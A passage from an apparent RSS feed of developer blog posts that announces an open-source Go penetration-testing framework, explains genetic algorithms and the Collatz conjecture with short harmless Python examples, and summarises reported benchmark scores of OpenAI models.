      <guid>https://forem.com/0root/lanmanvan-my-journey-building-a-modular-security-framework-in-go-2e38</guid>
      <description>&lt;p&gt;A few months ago, I started working on a personal project to create a flexible and powerful tool for security research and penetration testing. I wanted something inspired by Metasploit — an interactive framework where I could easily load, manage, and run different modules without dealing with heavy dependencies or complex setups.&lt;/p&gt;

&lt;p&gt;At first, I considered building it in Python (like many similar tools), but then I chose Go. Why? Go offers incredible performance, seamless cross-compilation, single binary output, and amazing concurrency support — all perfect for a CLI tool that needs to feel snappy and reliable, even when running multiple tasks or handling modules efficiently.&lt;/p&gt;

&lt;p&gt;And so, &lt;strong&gt;LanManVan&lt;/strong&gt; was born.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5vh6o7lzuseb5w8ckl0n.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5vh6o7lzuseb5w8ckl0n.png" alt="LanManVan main banner" width="800" height="428"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Getting Started
&lt;/h3&gt;

&lt;p&gt;Just run it on Linux (or WSL on Windows), and you get a clean interactive shell. Type &lt;code&gt;help&lt;/code&gt; to see all available commands.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fztpdnh1uijcyou4m7ek6.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fztpdnh1uijcyou4m7ek6.png" alt="Help command output" width="563" height="511"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Discovering the Modules
&lt;/h3&gt;

&lt;p&gt;It already comes with over 30 modules for recon, web testing, hashing, encoding, network tools, and more.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fs31odfzqdtejoz38l0n9.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fs31odfzqdtejoz38l0n9.png" alt="Listing available modules" width="800" height="676"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Trying Out IP Geolocation
&lt;/h3&gt;

&lt;p&gt;One of my favorites: real-time IP location lookup with a single command.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjflmnniy7oxjbcpb6kvo.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjflmnniy7oxjbcpb6kvo.png" alt="Running ip-geolocation module" width="468" height="302"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Testing the Quick Spider Module
&lt;/h3&gt;

&lt;p&gt;A lightweight web crawler I built for basic reconnaissance — supports single or multi-threaded crawling and saves results neatly.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyuu6hazsm6a5stvy1mi7.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyuu6hazsm6a5stvy1mi7.png" alt="Quick-spider module info" width="800" height="222"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fk42ietzs1mgbqbbx63uz.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fk42ietzs1mgbqbbx63uz.png" alt="Running quick-spider in action" width="584" height="760"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Tech Details
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Core framework written in &lt;strong&gt;Go&lt;/strong&gt; for speed and simplicity.&lt;/li&gt;
&lt;li&gt;Modules are written in &lt;strong&gt;Python3&lt;/strong&gt; or &lt;strong&gt;Bash&lt;/strong&gt; — easy for anyone to contribute.&lt;/li&gt;
&lt;li&gt;Works natively on &lt;strong&gt;Linux&lt;/strong&gt; (use WSL if you're on Windows).&lt;/li&gt;
&lt;li&gt;Fully open source (MIT license).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;You can check out the project here: &lt;a href="https://github.com/hmZa-Sfyn/lanmanvan" rel="noopener noreferrer"&gt;https://github.com/hmZa-Sfyn/lanmanvan&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;I’d really appreciate contributions!&lt;/strong&gt; Whether it's new modules, bug fixes, improvements to the UI, or just ideas — pull requests are very welcome.&lt;/p&gt;

&lt;p&gt;Thanks for reading, and happy (ethical) hacking!&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Tags:&lt;/strong&gt; golang, cybersecurity, penetration-testing, open-source&lt;/p&gt;

</description>
      <category>go</category>
      <category>cybersecurity</category>
      <category>opensource</category>
      <category>python</category>
    </item>
    <item>
      <title>🧬 Natural Selection in Code, AI, and Generative AI</title>
      <dc:creator>hmza</dc:creator>
      <pubDate>Thu, 24 Jul 2025 08:40:25 +0000</pubDate>
      <link>https://forem.com/0root/natural-selection-in-code-ai-and-generative-ai-ecc</link>
      <guid>https://forem.com/0root/natural-selection-in-code-ai-and-generative-ai-ecc</guid>
      <description>&lt;h2&gt;
  
  
  🧬 Natural Selection in Code, AI, and Generative AI
&lt;/h2&gt;

&lt;p&gt;Natural selection isn’t just for biology textbooks or wildlife documentaries. In the age of code and AI, nature’s greatest algorithm is making waves in how we &lt;strong&gt;optimize&lt;/strong&gt;, &lt;strong&gt;evolve&lt;/strong&gt;, and even &lt;strong&gt;create&lt;/strong&gt; through machines. From &lt;strong&gt;evolving code&lt;/strong&gt; to &lt;strong&gt;training neural networks&lt;/strong&gt;, let’s explore how natural selection inspires digital intelligence.&lt;/p&gt;




&lt;h2&gt;
  
  
  ⚙️ What Is Natural Selection in Code?
&lt;/h2&gt;

&lt;p&gt;In computing, &lt;strong&gt;natural selection&lt;/strong&gt; is mimicked through &lt;strong&gt;evolutionary algorithms&lt;/strong&gt;, where:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Solutions to a problem are treated like organisms&lt;/li&gt;
&lt;li&gt;Each "organism" is a possible answer (e.g. a string, a function, a set of weights)&lt;/li&gt;
&lt;li&gt;"Fitness" is how good that solution is&lt;/li&gt;
&lt;li&gt;The best ones survive and reproduce (via crossover and mutation)&lt;/li&gt;
&lt;li&gt;Over generations, better solutions evolve&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This is the core idea behind &lt;strong&gt;Genetic Algorithms (GAs)&lt;/strong&gt; and &lt;strong&gt;Neuroevolution&lt;/strong&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  🧪 Example: Evolving a Phrase
&lt;/h2&gt;

&lt;p&gt;Let’s evolve the phrase: &lt;code&gt;"hello world"&lt;/code&gt; using Python and a fitness function.&lt;/p&gt;

&lt;h3&gt;
  
  
  🔤 Genetic Algorithm to Evolve Text
&lt;/h3&gt;

&lt;pre&gt;&lt;code&gt;import random

target = "hello world"
letters = "abcdefghijklmnopqrstuvwxyz "

def fitness(candidate):
    return sum(1 for a, b in zip(candidate, target) if a == b)

def mutate(word):
    i = random.randint(0, len(word) - 1)
    new_char = random.choice(letters)
    return word[:i] + new_char + word[i+1:]

def evolve():
    population = [''.join(random.choice(letters) for _ in range(len(target))) for _ in range(100)]
    generation = 0

    while True:
        population = sorted(population, key=fitness, reverse=True)
        if population[0] == target:
            print(f"✅ Evolved in {generation} generations: {population[0]}")
            break

        next_gen = population[:10]
        while len(next_gen) &amp;lt; 100:
            parent = random.choice(population[:20])
            child = mutate(parent)
            next_gen.append(child)

        population = next_gen
        generation += 1

evolve()
&lt;/code&gt;&lt;/pre&gt;

&lt;h3&gt;
  
  
  🧾 Sample Output
&lt;/h3&gt;

&lt;pre&gt;&lt;code&gt;
✅ Evolved in 136 generations: hello world
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;This is &lt;strong&gt;natural selection&lt;/strong&gt; in action — but in Python. 🔥&lt;/p&gt;




&lt;h2&gt;
  
  
  🧠 Natural Selection in AI Training
&lt;/h2&gt;

&lt;p&gt;In traditional AI, models are trained using &lt;strong&gt;backpropagation&lt;/strong&gt;. But in &lt;strong&gt;neuroevolution&lt;/strong&gt;, we evolve neural networks the same way animals evolve:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Mutate the architecture or weights&lt;/li&gt;
&lt;li&gt;Select the best-performing networks&lt;/li&gt;
&lt;li&gt;Breed and mutate again&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This works &lt;strong&gt;without gradients&lt;/strong&gt;, so it's great for strange or non-differentiable problems.&lt;/p&gt;

&lt;h3&gt;
  
  
  🧠 Example Use Case: AI that learns to walk without physics knowledge
&lt;/h3&gt;

&lt;pre&gt;&lt;code&gt;
1. Create random neural nets that control a robot.
2. Simulate walking.
3. Measure distance walked = fitness.
4. Select best walkers.
5. Mutate their neural networks.
6. Repeat!
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Tools like:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;🧠 &lt;a href="https://neat-python.readthedocs.io/en/latest/" rel="noopener noreferrer"&gt;NEAT (NeuroEvolution of Augmenting Topologies)&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;🧬 &lt;a href="https://deap.readthedocs.io/en/master/" rel="noopener noreferrer"&gt;DEAP (Distributed Evolutionary Algorithms in Python)&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;use this exact process.&lt;/p&gt;




&lt;h2&gt;
  
  
  🎨 Generative AI + Natural Selection = Evolutionary Art
&lt;/h2&gt;

&lt;p&gt;Some artists and researchers use evolution to &lt;strong&gt;generate art&lt;/strong&gt; or &lt;strong&gt;music&lt;/strong&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Each "art piece" is a genome&lt;/li&gt;
&lt;li&gt;Humans or models score the fitness&lt;/li&gt;
&lt;li&gt;Mutations + crossover produce new, creative pieces&lt;/li&gt;
&lt;li&gt;Over time, stunning works emerge&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  🖼️ Example: Evolutionary Art Process
&lt;/h3&gt;

&lt;pre&gt;&lt;code&gt;
1. Generate 100 abstract images using random math functions
2. Pick top 10 based on beauty or symmetry (human-rated or AI-rated)
3. Mutate math formulas
4. Repeat
&lt;/code&gt;&lt;/pre&gt;

&lt;h3&gt;
  
  
  🧬 Tools that use this:
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.artbreeder.com/" rel="noopener noreferrer"&gt;GANbreeder (now Artbreeder)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://deepdreamgenerator.com/" rel="noopener noreferrer"&gt;DeepDream&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://sourceforge.net/projects/evolvotron/" rel="noopener noreferrer"&gt;Evolvotron&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  🧯 Warning: Mutation Without Selection Is Just Chaos
&lt;/h2&gt;

&lt;p&gt;Randomness alone doesn’t produce intelligence — selection is the filter. In both AI and biology:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;
Mutation = Chaos
+
Selection = Order
---------------------
= Evolution
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;No matter how smart your mutation logic is, without fitness and selection, your system will go nowhere.&lt;/p&gt;




&lt;h2&gt;
  
  
  🔚 Conclusion: Code Learns Like Life
&lt;/h2&gt;

&lt;p&gt;Nature has been optimizing life for 3.8 billion years. We’re just learning how to mimic it.&lt;/p&gt;

&lt;p&gt;Whether you're evolving text, neural networks, or digital art, remember:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Natural selection is not a choice — it's a &lt;em&gt;filter&lt;/em&gt;.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;🧠 In AI, it’s helping us train.&lt;br&gt;&lt;br&gt;
🎨 In creativity, it’s helping us dream.&lt;br&gt;&lt;br&gt;
🧬 In code, it’s helping us evolve.&lt;/p&gt;




&lt;h2&gt;
  
  
  📚 Further Reading &amp;amp; Tools
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;📘 &lt;em&gt;The Blind Watchmaker&lt;/em&gt; – Richard Dawkins&lt;/li&gt;
&lt;li&gt;🧠 &lt;a href="https://neat-python.readthedocs.io/en/latest/" rel="noopener noreferrer"&gt;NEAT-Python&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;🧬 &lt;a href="https://deap.readthedocs.io/en/master/" rel="noopener noreferrer"&gt;DEAP Python Library&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;🤖 &lt;a href="https://blog.openai.com/evolution-strategies/" rel="noopener noreferrer"&gt;OpenAI Evolution Strategies&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;




&lt;h3&gt;
  
  
  ✨ TL;DR
&lt;/h3&gt;

&lt;blockquote&gt;
&lt;p&gt;Nature’s greatest invention is evolution.&lt;br&gt;&lt;br&gt;
Coders are now borrowing that trick.&lt;/p&gt;
&lt;/blockquote&gt;

</description>
      <category>ai</category>
      <category>algorithms</category>
      <category>deeplearning</category>
      <category>machinelearning</category>
    </item>
    <item>
      <title>🔢 The 3x + 1 Problem (Collatz Conjecture)</title>
      <dc:creator>hmza</dc:creator>
      <pubDate>Thu, 24 Jul 2025 08:30:59 +0000</pubDate>
      <link>https://forem.com/0root/the-3x-1-problem-collatz-conjecture-4m16</link>
      <guid>https://forem.com/0root/the-3x-1-problem-collatz-conjecture-4m16</guid>
      <description>&lt;h2&gt;
  
  
  🔢 The 3x + 1 Problem (Collatz Conjecture)
&lt;/h2&gt;

&lt;p&gt;Mathematics is full of mysteries, and one of the most deceptively simple yet unsolved problems in number theory is the &lt;strong&gt;3x + 1 problem&lt;/strong&gt;, also known as the &lt;strong&gt;Collatz Conjecture&lt;/strong&gt;. It’s a number game that anyone can play, but no one has been able to solve completely. It has captivated amateur enthusiasts, professional mathematicians, and curious minds for decades.&lt;/p&gt;




&lt;h2&gt;
  
  
  🧮 The Rules of the Game
&lt;/h2&gt;

&lt;p&gt;Start with &lt;strong&gt;any positive integer&lt;/strong&gt;. Then follow these rules:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;If the number is even&lt;/strong&gt;, divide it by 2.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;If the number is odd&lt;/strong&gt;, multiply it by 3 and add 1.&lt;/li&gt;
&lt;li&gt;Repeat the process with the resulting number.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Eventually, this sequence of operations &lt;strong&gt;always seems to reach 1&lt;/strong&gt;—but nobody has proven that this is true for every possible positive integer.&lt;/p&gt;




&lt;h2&gt;
  
  
  📌 Formal Definition
&lt;/h2&gt;

&lt;p&gt;Let &lt;code&gt;f(n)&lt;/code&gt; be a function defined as:&lt;/p&gt;

&lt;pre&gt;
f(n) = {
  n / 2        if n is even
  3n + 1       if n is odd
}
&lt;/pre&gt;

&lt;p&gt;Starting from any positive integer &lt;code&gt;n&lt;/code&gt;, generate a sequence by repeatedly applying &lt;code&gt;f&lt;/code&gt;. The &lt;strong&gt;Collatz Conjecture&lt;/strong&gt; states:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;For all positive integers &lt;code&gt;n&lt;/code&gt;, the sequence will eventually reach the value 1.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  🔍 Example Walkthroughs
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Example: Starting with 5
&lt;/h3&gt;

&lt;pre&gt;
5 → odd → 3×5 + 1 = 16  
16 → even → 16 / 2 = 8  
8 → even → 8 / 2 = 4  
4 → even → 4 / 2 = 2  
2 → even → 2 / 2 = 1
&lt;/pre&gt;

&lt;p&gt;It took 5 steps to reach 1.&lt;/p&gt;




&lt;h3&gt;
  
  
  Example: Starting with 27 (famously long)
&lt;/h3&gt;

&lt;p&gt;This sequence is famous because although it starts small, it goes through &lt;strong&gt;111 steps&lt;/strong&gt; before reaching 1 and peaks at &lt;strong&gt;9232&lt;/strong&gt;!&lt;/p&gt;




&lt;h2&gt;
  
  
  🧊 Alternate Names
&lt;/h2&gt;

&lt;p&gt;The 3x + 1 problem goes by several names:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Collatz Conjecture&lt;/strong&gt; (after German mathematician Lothar Collatz)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Ulam conjecture&lt;/strong&gt; (named by Stanislaw Ulam)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Hailstone numbers&lt;/strong&gt; (because the values rise and fall like a hailstone in a storm)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Syracuse problem&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Kakutani's problem&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  🧠 Why Is It So Hard to Prove?
&lt;/h2&gt;

&lt;p&gt;At first glance, this seems like a problem that should be solvable with brute force or a clever proof. However, it turns out that:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The behavior of the sequence is &lt;strong&gt;chaotic&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Small changes in the starting number can cause big changes in the path.&lt;/li&gt;
&lt;li&gt;No pattern has been found that applies to all numbers.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The function is very simple, yet its recursive nature makes it resistant to standard mathematical techniques like induction or modular arithmetic.&lt;/p&gt;




&lt;h2&gt;
  
  
  📈 Visualizing the Collatz Graph
&lt;/h2&gt;

&lt;p&gt;When visualized, the paths of different numbers toward 1 resemble a tree structure or a web. Each number eventually converges toward the same point (1), but the journey varies wildly.&lt;/p&gt;




&lt;h2&gt;
  
  
  💻 Computing the Collatz Sequence
&lt;/h2&gt;

&lt;p&gt;Here's a simple Python implementation:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;def collatz_sequence(n):
    steps = [n]
    while n != 1:
        if n % 2 == 0:
            n = n // 2
        else:
            n = 3 * n + 1
        steps.append(n)
    return steps
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Try it out with any number, and watch the wild ride.&lt;/p&gt;




&lt;h2&gt;
  
  
  🧨 Known Facts and Observations
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Tested for numbers up to &lt;code&gt;2^68&lt;/code&gt; — all eventually reached 1.&lt;/li&gt;
&lt;li&gt;No known loops exist other than the trivial cycle: &lt;code&gt;4 → 2 → 1 → 4&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;There is no general formula or pattern that can predict the number of steps.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  🧙‍♂️ A Philosophical Take
&lt;/h2&gt;

&lt;p&gt;The 3x + 1 problem is a perfect example of &lt;strong&gt;mathematical elegance meets mystery&lt;/strong&gt;. Its simplicity invites exploration, and yet, it humbles even the best mathematicians. It’s a reminder that math isn’t always about solving — sometimes, it's about wondering.&lt;/p&gt;




&lt;h2&gt;
  
  
  📚 Further Reading
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Lothar Collatz (1937)&lt;/strong&gt;: Originated the problem.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Jeffrey Lagarias&lt;/strong&gt;: Wrote extensively about the problem's connections to other areas of math.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;OEIS Sequence A006577&lt;/strong&gt;: Number of steps to reach 1 for each integer.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  🤔 Will It Ever Be Proven?
&lt;/h2&gt;

&lt;p&gt;No one knows. A proof (or disproof) would be a monumental achievement in mathematics. Until then, the Collatz Conjecture remains one of the simplest unsolved problems in all of math — and one of the most captivating.&lt;/p&gt;




&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;“Mathematics is not about numbers, equations, computations, or algorithms: it is about understanding.” – William Paul Thurston&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;




</description>
      <category>math</category>
      <category>code</category>
      <category>problem</category>
      <category>conjecture</category>
    </item>
    <item>
      <title>🧠 OpenAI Benchmarks: Understanding the Power Behind the Model</title>
      <dc:creator>hmza</dc:creator>
      <pubDate>Mon, 21 Jul 2025 15:18:23 +0000</pubDate>
      <link>https://forem.com/0root/openai-benchmarks-understanding-the-power-behind-the-model-189c</link>
      <guid>https://forem.com/0root/openai-benchmarks-understanding-the-power-behind-the-model-189c</guid>
      <description>&lt;h2&gt;
  
  
  🧠 OpenAI Benchmarks: Understanding the Power Behind the Model
&lt;/h2&gt;

&lt;p&gt;OpenAI’s language models, like GPT-3, GPT-4, and the rumored upcoming GPT-5, are evaluated using a variety of &lt;strong&gt;benchmarks&lt;/strong&gt; to measure their capabilities in reasoning, language understanding, and coding. But what exactly are these benchmarks, and how do they stack up against human performance?&lt;/p&gt;




&lt;h2&gt;
  
  
  🧪 What Are AI Benchmarks?
&lt;/h2&gt;

&lt;p&gt;Benchmarks are &lt;strong&gt;standardized tests or datasets&lt;/strong&gt; used to evaluate how well an AI model performs specific tasks. For OpenAI, benchmarks span:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Natural language understanding (NLU)&lt;/li&gt;
&lt;li&gt;Code generation&lt;/li&gt;
&lt;li&gt;Mathematical reasoning&lt;/li&gt;
&lt;li&gt;Logic and problem solving&lt;/li&gt;
&lt;li&gt;General knowledge&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  📊 Popular Benchmarks OpenAI Uses
&lt;/h2&gt;

&lt;h3&gt;
  
  
  1. &lt;strong&gt;MMLU (Massive Multitask Language Understanding)&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;MMLU&lt;/code&gt; tests performance on 57 subjects, from law and medicine to physics and history.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;GPT-3: ~43%&lt;/li&gt;
&lt;li&gt;GPT-3.5: ~70%&lt;/li&gt;
&lt;li&gt;GPT-4: ~86.4% (beats most humans!)&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  2. &lt;strong&gt;HumanEval&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;HumanEval&lt;/code&gt; evaluates Python code generation with real-world functions and asserts.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;GPT-3.5: ~48%&lt;/li&gt;
&lt;li&gt;GPT-4: ~74%&lt;/li&gt;
&lt;li&gt;Claude 3 Opus: ~88% (as of 2024)&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  3. &lt;strong&gt;GSM8K (Grade School Math)&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;GSM8K&lt;/code&gt; includes step-by-step math problems at grade-school level.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;GPT-3.5: ~57%&lt;/li&gt;
&lt;li&gt;GPT-4 (with CoT): &amp;gt;92%&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  4. &lt;strong&gt;BIG-Bench&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;BIG-Bench&lt;/code&gt; is a collaborative benchmark with &amp;gt;200 tasks, including:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Abstract reasoning&lt;/li&gt;
&lt;li&gt;Rhyme detection&lt;/li&gt;
&lt;li&gt;Logical puzzles&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  🧠 How Does GPT-4 Perform?
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Benchmark&lt;/th&gt;
&lt;th&gt;GPT-4 Accuracy&lt;/th&gt;
&lt;th&gt;Human Level&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;MMLU&lt;/td&gt;
&lt;td&gt;86.4%&lt;/td&gt;
&lt;td&gt;~Human Expert&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;HumanEval (Python)&lt;/td&gt;
&lt;td&gt;74%&lt;/td&gt;
&lt;td&gt;~Advanced Programmer&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;GSM8K (Math)&lt;/td&gt;
&lt;td&gt;92%&lt;/td&gt;
&lt;td&gt;High schooler&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ARC (Reasoning)&lt;/td&gt;
&lt;td&gt;80%+&lt;/td&gt;
&lt;td&gt;Varies&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;blockquote&gt;
&lt;p&gt;📌 GPT-4 beats &lt;strong&gt;90% of humans&lt;/strong&gt; on many standard tests.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  🧪 Evaluation Methodology
&lt;/h2&gt;

&lt;p&gt;OpenAI runs &lt;strong&gt;zero-shot&lt;/strong&gt;, &lt;strong&gt;few-shot&lt;/strong&gt;, and &lt;strong&gt;chain-of-thought (CoT)&lt;/strong&gt; tests:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Zero-shot&lt;/strong&gt;: No examples given&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Few-shot&lt;/strong&gt;: A few prompt examples&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;CoT&lt;/strong&gt;: Model is encouraged to "think step-by-step"&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  🧬 Why Benchmarks Matter
&lt;/h2&gt;

&lt;p&gt;Benchmarks help:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Compare models (GPT-3 vs Claude vs Gemini)&lt;/li&gt;
&lt;li&gt;Reveal weaknesses (e.g., hallucination, math errors)&lt;/li&gt;
&lt;li&gt;Show generalization capabilities&lt;/li&gt;
&lt;li&gt;Guide future model improvements&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  🔍 Criticisms of Benchmarks
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Can be "gamed" via prompt tuning&lt;/li&gt;
&lt;li&gt;Don't always reflect real-world usage&lt;/li&gt;
&lt;li&gt;May overemphasize multiple-choice tests&lt;/li&gt;
&lt;li&gt;May not capture creativity or emotional intelligence&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  🔮 The Future of OpenAI Benchmarks
&lt;/h2&gt;

&lt;p&gt;OpenAI is increasingly focused on:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Custom benchmarks&lt;/strong&gt; (e.g., long context, tool use)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Human feedback loops&lt;/strong&gt; (RLHF, RLAIF)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Trustworthy reasoning&lt;/strong&gt; (TRT-Bench coming soon)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Expect future benchmarks to test:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Agent-like reasoning&lt;/li&gt;
&lt;li&gt;Real-time collaboration&lt;/li&gt;
&lt;li&gt;Interactive tasks (e.g., simulation environments)&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  📚 Further Reading
&lt;/h2&gt;

&lt;ul&gt;
